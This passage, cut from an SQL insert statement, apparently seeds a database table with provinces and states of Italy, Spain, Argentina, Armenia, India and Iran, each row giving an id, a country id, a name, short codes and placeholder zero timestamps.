0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (286, 1, 105, 0, 'Pistoia', 'PIT', 'PT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (287, 1, 105, 0, 'Pordenone', 'POR', 'PN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (288, 1, 105, 0, 'Potenza', 'PTZ', 'PZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (289, 1, 105, 0, 'Prato', 'PRA', 'PO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (290, 1, 105, 0, 'Ragusa', 'RAG', 'RG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (291, 1, 105, 0, 'Ravenna', 'RAV', 'RA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (292, 1, 105, 0, 'Reggio Calabria', 'REG', 'RC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (293, 1, 105, 0, 'Reggio Emilia', 'REE', 'RE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (294, 1, 105, 0, 'Rieti', 'RIE', 'RI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (295, 1, 105, 0, 'Rimini', 'RIM', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (296, 1, 105, 0, 'Roma', 'ROM', 'RM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (297, 1, 105, 0, 'Rovigo', 'ROV', 'RO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (298, 1, 105, 0, 'Salerno', 'SAL', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (299, 1, 105, 0, 'Sassari', 'SAS', 'SS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (300, 1, 105, 0, 'Savona', 'SAV', 'SV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (301, 1, 105, 0, 'Siena', 'SIE', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (302, 1, 105, 0, 'Siracusa', 'SIR', 'SR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (303, 1, 105, 0, 'Sondrio', 'SOO', 'SO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (304, 1, 105, 0, 'Taranto', 'TAR', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (305, 1, 105, 0, 'Teramo', 'TER', 'TE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (306, 1, 105, 0, 'Terni', 'TRN', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (307, 1, 105, 0, 'Torino', 'TOR', 'TO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (308, 1, 105, 0, 'Trapani', 'TRA', 'TP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (309, 1, 105, 0, 'Trento', 'TRE', 'TN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (310, 1, 105, 0, 'Treviso', 'TRV', 'TV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (311, 1, 105, 0, 'Trieste', 'TRI', 'TS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (312, 1, 105, 0, 'Udine', 'UDI', 'UD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (313, 1, 105, 0, 'Varese', 'VAR', 'VA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (314, 1, 105, 0, 'Venezia', 'VEN', 'VE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (315, 1, 105, 0, 'Verbano Cusio Ossola', 'VCO', 'VB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (316, 1, 105, 0, 'Vercelli', 'VER', 'VC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (317, 1, 105, 0, 'Verona', 'VRN', 'VR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (318, 1, 105, 0, 'Vibo Valenzia', 'VIV', 'VV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (319, 1, 105, 0, 'Vicenza', 'VII', 'VI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (320, 1, 105, 0, 'Viterbo', 'VIT', 'VT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (321, 1, 195, 0, 'A Coru', 'ACO', '15', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (322, 1, 195, 0, 'Alava', 'ALA', '01', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (323, 1, 195, 0, 'Albacete', 'ALB', '02', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (324, 1, 195, 0, 'Alicante', 'ALI', '03', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (325, 1, 195, 0, 'Almeria', 'ALM', '04', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (326, 1, 195, 0, 'Asturias', 'AST', '33', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (327, 1, 195, 0, 'Avila', 'AVI', '05', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (328, 1, 195, 0, 'Badajoz', 'BAD', '06', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (329, 1, 195, 0, 'Baleares', 'BAL', '07', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (330, 1, 195, 0, 'Barcelona', 'BAR', '08', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (331, 1, 195, 0, 'Burgos', 'BUR', '09', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (332, 1, 195, 0, 'Caceres', 'CAC', '10', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (333, 1, 195, 0, 'Cadiz', 'CAD', '11', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (334, 1, 195, 0, 'Cantabria', 'CAN', '39', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (335, 1, 195, 0, 'Castellon', 'CAS', '12', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (336, 1, 195, 0, 'Ceuta', 'CEU', '51', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (337, 1, 195, 0, 'Ciudad Real', 'CIU', '13', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (338, 1, 195, 0, 'Cordoba', 'COR', '14', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (339, 1, 195, 0, 'Cuenca', 'CUE', '16', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (340, 1, 195, 0, 'Girona', 'GIR', '17', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (341, 1, 195, 0, 'Granada', 'GRA', '18', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (342, 1, 195, 0, 'Guadalajara', 'GUA', '19', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (343, 1, 195, 0, 'Guipuzcoa', 'GUI', '20', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (344, 1, 195, 0, 'Huelva', 'HUL', '21', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (345, 1, 195, 0, 'Huesca', 'HUS', '22', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (346, 1, 195, 0, 'Jaen', 'JAE', '23', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (347, 1, 195, 0, 'La Rioja', 'LRI', '26', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (348, 1, 195, 0, 'Las Palmas', 'LPA', '35', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (349, 1, 195, 0, 'Leon', 'LEO', '24', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (350, 1, 195, 0, 'Lleida', 'LLE', '25', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (351, 1, 195, 0, 'Lugo', 'LUG', '27', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (352, 1, 195, 0, 'Madrid', 'MAD', '28', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (353, 1, 195, 0, 'Malaga', 'MAL', '29', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (354, 1, 195, 0, 'Melilla', 'MEL', '52', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (355, 1, 195, 0, 'Murcia', 'MUR', '30', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (356, 1, 195, 0, 'Navarra', 'NAV', '31', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (357, 1, 195, 0, 'Ourense', 'OUR', '32', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (358, 1, 195, 0, 'Palencia', 'PAL', '34', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (359, 1, 195, 0, 'Pontevedra', 'PON', '36', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (360, 1, 195, 0, 'Salamanca', 'SAL', '37', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (361, 1, 195, 0, 'Santa Cruz de Tenerife', 'SCT', '38', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (362, 1, 195, 0, 'Segovia', 'SEG', '40', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (363, 1, 195, 0, 'Sevilla', 'SEV', '41', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (364, 1, 195, 0, 'Soria', 'SOR', '42', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (365, 1, 195, 0, 'Tarragona', 'TAR', '43', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (366, 1, 195, 0, 'Teruel', 'TER', '44', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (367, 1, 195, 0, 'Toledo', 'TOL', '45', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (368, 1, 195, 0, 'Valencia', 'VAL', '46', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (369, 1, 195, 0, 'Valladolid', 'VLL', '47', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (370, 1, 195, 0, 'Vizcaya', 'VIZ', '48', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (371, 1, 195, 0, 'Zamora', 'ZAM', '49', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (372, 1, 195, 0, 'Zaragoza', 'ZAR', '50', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (373, 1, 10, 0, 'Buenos Aires', 'BAS', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (374, 1, 10, 0, 'Ciudad Autonoma De Buenos Aires', 'CBA', 'CB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (375, 1, 10, 0, 'Catamarca', 'CAT', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (376, 1, 10, 0, 'Chaco', 'CHO', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (377, 1, 10, 0, 'Chubut', 'CTT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (378, 1, 10, 0, 'Cordoba', 'COD', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (379, 1, 10, 0, 'Corrientes', 'CRI', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (380, 1, 10, 0, 'Entre Rios', 'ERS', 'ER', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (381, 1, 10, 0, 'Formosa', 'FRM', 'FR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (382, 1, 10, 0, 'Jujuy', 'JUJ', 'JU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (383, 1, 10, 0, 'La Pampa', 'LPM', 'LP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (384, 1, 10, 0, 'La Rioja', 'LRI', 'LR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (385, 1, 10, 0, 'Mendoza', 'MED', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (386, 1, 10, 0, 'Misiones', 'MIS', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (387, 1, 10, 0, 'Neuquen', 'NQU', 'NQ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (388, 1, 10, 0, 'Rio Negro', 'RNG', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (389, 1, 10, 0, 'Salta', 'SAL', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (390, 1, 10, 0, 'San Juan', 'SJN', 'SJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (391, 1, 10, 0, 'San Luis', 'SLU', 'SL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (392, 1, 10, 0, 'Santa Cruz', 'SCZ', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (393, 1, 10, 0, 'Santa Fe', 'SFE', 'SF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (394, 1, 10, 0, 'Santiago Del Estero', 'SEN', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (395, 1, 10, 0, 'Tierra Del Fuego', 'TFE', 'TF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (396, 1, 10, 0, 'Tucuman', 'TUC', 'TU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (397, 1, 11, 0, 'Aragatsotn', 'ARG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (398, 1, 11, 0, 'Ararat', 'ARR', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (399, 1, 11, 0, 'Armavir', 'ARM', 'AV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (400, 1, 11, 0, 'Gegharkunik', 'GEG', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (401, 1, 11, 0, 'Kotayk', 'KOT', 'KT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (402, 1, 11, 0, 'Lori', 'LOR', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (403, 1, 11, 0, 'Shirak', 'SHI', 'SH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (404, 1, 11, 0, 'Syunik', 'SYU', 'SU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (405, 1, 11, 0, 'Tavush', 'TAV', 'TV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (406, 1, 11, 0, 'Vayots-Dzor', 'VAD', 'VD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (407, 1, 11, 0, 'Yerevan', 'YER', 'ER', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (408, 1, 99, 0, 'Andaman & Nicobar Islands', 'ANI', 'AI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (409, 1, 99, 0, 'Andhra Pradesh', 'AND', 'AN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (410, 1, 99, 0, 'Arunachal Pradesh', 'ARU', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (411, 1, 99, 0, 'Assam', 'ASS', 'AS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (412, 1, 99, 0, 'Bihar', 'BIH', 'BI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (413, 1, 99, 0, 'Chandigarh', 'CHA', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (414, 1, 99, 0, 'Chhatisgarh', 'CHH', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (415, 1, 99, 0, 'Dadra & Nagar Haveli', 'DAD', 'DD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (416, 1, 99, 0, 'Daman & Diu', 'DAM', 'DA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (417, 1, 99, 0, 'Delhi', 'DEL', 'DE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (418, 1, 99, 0, 'Goa', 'GOA', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (419, 1, 99, 0, 'Gujarat', 'GUJ', 'GU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (420, 1, 99, 0, 'Haryana', 'HAR', 'HA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (421, 1, 99, 0, 'Himachal Pradesh', 'HIM', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (422, 1, 99, 0, 'Jammu & Kashmir', 'JAM', 'JA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (423, 1, 99, 0, 'Jharkhand', 'JHA', 'JH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (424, 1, 99, 0, 'Karnataka', 'KAR', 'KA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (425, 1, 99, 0, 'Kerala', 'KER', 'KE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (426, 1, 99, 0, 'Lakshadweep', 'LAK', 'LA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (427, 1, 99, 0, 'Madhya Pradesh', 'MAD', 'MD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (428, 1, 99, 0, 'Maharashtra', 'MAH', 'MH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (429, 1, 99, 0, 'Manipur', 'MAN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (430, 1, 99, 0, 'Meghalaya', 'MEG', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (431, 1, 99, 0, 'Mizoram', 'MIZ', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (432, 1, 99, 0, 'Nagaland', 'NAG', 'NA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (433, 1, 99, 0, 'Orissa', 'ORI', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (434, 1, 99, 0, 'Pondicherry', 'PON', 'PO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (435, 1, 99, 0, 'Punjab', 'PUN', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (436, 1, 99, 0, 'Rajasthan', 'RAJ', 'RA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (437, 1, 99, 0, 'Sikkim', 'SIK', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (438, 1, 99, 0, 'Tamil Nadu', 'TAM', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (439, 1, 99, 0, 'Tripura', 'TRI', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (440, 1, 99, 0, 'Uttaranchal', 'UAR', 'UA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (441, 1, 99, 0, 'Uttar Pradesh', 'UTT', 'UT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (442, 1, 99, 0, 'West Bengal', 'WES', 'WE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (443, 1, 101, 0, 'Ahmadi va Kohkiluyeh', 'BOK', 'BO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (444, 1, 101, 0, 'Ardabil', 'ARD', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (445, 1, 101, 0, 'Azarbayjan-e Gharbi', 'AZG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (446, 1, 101, 0, 'Azarbayjan-e Sharqi', 'AZS', 'AS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (447, 1, 101, 0, 'Bushehr', 'BUS', 'BU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (448, 1, 101, 0, 'Chaharmahal va Bakhtiari', 'CMB', 'CM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (449, 1, 101, 0, 'Esfahan', 'ESF', 'ES', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (450, 1, 101, 0, 'Fars', 'FAR', 'FA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, 